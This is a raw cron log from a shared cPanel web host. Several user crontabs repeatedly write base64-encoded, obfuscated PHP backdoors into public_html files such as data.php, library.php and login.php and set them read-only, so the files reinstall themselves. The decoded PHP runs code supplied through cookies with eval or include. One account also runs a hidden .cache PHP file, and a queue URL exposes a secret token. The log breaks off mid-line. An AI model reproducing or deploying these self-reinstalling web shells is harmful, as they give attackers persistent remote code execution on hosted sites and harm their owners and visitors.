Apr 19 09:41:01 medusa CROND[23361]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:42:01 medusa CROND[15383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:42:01 medusa CROND[15485]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:42:01 medusa CROND[15486]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:42:01 medusa CROND[15487]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:42:01 medusa CROND[15492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:42:01 medusa CROND[15493]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:42:01 medusa CROND[15497]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:42:01 medusa CROND[15495]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 09:42:01 medusa CROND[15498]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:42:01 medusa CROND[15499]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:42:01 medusa CROND[15503]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:42:01 medusa CROND[15504]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:42:01 medusa CROND[15515]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:43:01 medusa CROND[8418]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:43:01 medusa CROND[8419]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:43:01 medusa CROND[8420]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 09:43:01 medusa CROND[8421]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Apr 19 09:43:01 medusa CROND[8422]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:43:01 medusa CROND[8423]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 09:43:01 medusa CROND[8425]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:43:01 medusa CROND[8426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:43:01 medusa CROND[8427]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:43:01 medusa CROND[8429]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:43:01 medusa CROND[8432]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:43:01 medusa CROND[8434]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:43:01 medusa CROND[8435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:43:01 medusa CROND[8437]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:44:01 medusa CROND[982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:44:01 medusa CROND[1101]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:44:01 medusa CROND[1189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:44:01 medusa CROND[1200]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:44:01 medusa CROND[1210]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:44:01 medusa CROND[1247]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 09:44:01 medusa CROND[1264]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 